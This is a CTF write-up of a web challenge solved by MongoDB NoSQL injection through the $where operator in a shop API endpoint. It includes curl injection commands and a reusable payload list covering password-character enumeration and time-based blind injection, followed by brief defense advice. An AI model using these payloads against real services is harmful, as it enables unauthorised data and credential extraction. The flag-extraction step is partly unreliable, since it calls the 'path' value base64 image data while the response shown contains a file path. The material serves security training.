Art is an explosion (Искусство — это взрыв)
Art is an explosion (Искусство — это взрыв)
Platform: duckerz | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-09 | Status: Solved Techniques: base64_decode, mongodb_where_bypass, nosql_injection
Summary
Task: Web application with MongoDB backend exposing shop API. Solution: NoSQL injection via $where operator in GET /api/shop/{id} endpoint to find hidden record containing base64-encoded flag image.
Art is an explosion — DUCKERZ CTF
Description
The task name references Deidara's phrase from the anime Naruto: "Art is an explosion". The description hinted at the use of a NoSQL database (MongoDB).
URL: http://tasks.duckerz.ru:30076
Analysis
Endpoint Reconnaissance
The application had the following endpoints:
/- Login page with/api/login/register- Registration via/api/register/home,/profile,/shop- Protected pages/api/shop(POST),/api/shop/{id}(GET),/api/profile/images,/api/create,/api/categories
MongoDB Confirmation
The registration response contained a MongoDB ObjectId:
json read-only • copy allowed{"InsertedID":"69604eda76d69f228e0d1850"}
Authentication via JWT token with user_id field.
Vulnerability Discovery
| Endpoint | Result |
|---|---|
POST /api/shop | Filters ignored |
POST /api/login | Protected ("Invalid input" for operators) |
GET /api/shop/{id} | VULNERABLE to NoSQL injection via $where! |
Solution
1. Testing NoSQL Injection
Testing $where operator on GET /api/shop/{id}:
bash read-only • copy allowed# Returns first record curl "http://tasks.duckerz.ru:30076/api/shop/%7B%22%24where%22%3A%22true%22%7D" -b "token=$TOKEN" # Search for records with different owner_id curl "http://tasks.duckerz.ru:30076/api/shop/%7B%22%24where%22%3A%22this.owner_id%20!%3D%20'1'%22%7D" -b "token=$TOKEN"
2. Finding the Flag
Payload to search for hidden record with flag:
bash read-only • copy allowed# URL-encoded: {"$where":"this.name.includes('flag')"} curl "http://tasks.duckerz.ru:30076/api/shop/%7B%22%24where%22%3A%22this.name.includes('flag')%22%7D" \ -b "token=$TOKEN"
Response:
json read-only • copy allowed{ "_id": "696046e276d69f228e0d184d", "category": "nice", "label": "initial", "name": "flag", "owner_id": 1, "path": "/tmp/d3f3n1731Y_N07_4_Fr46.png" }
The path field contained a base64-encoded PNG image.
3. Extracting the Flag
bash read-only • copy allowedTOKEN="<jwt_token>" curl -s "http://tasks.duckerz.ru:30076/api/shop/%7B%22%24where%22%3A%22this.name.includes('flag')%22%7D" \ -b "token=$TOKEN" | jq -r '.path' | base64 -d > flag.png
The PNG image (1278x79 pixels) contained the flag as text.
Useful Payloads for MongoDB $where
javascript read-only • copy allowed// Basic checks {"$where":"true"} {"$where":"false"} // Field search {"$where":"this.field == 'value'"} {"$where":"this.field.includes('substring')"} {"$where":"this.field != 'value'"} // Data enumeration {"$where":"this.password.length > 10"} {"$where":"this.password[0] == 'a'"} // Time-based (for blind injection) {"$where":"sleep(5000)"}
Defense
- Validate input data types (strings only for ID)
- Use parameterized queries
- Disallow
$where,$regexoperators in user input - Sanitization via allowlist of permitted characters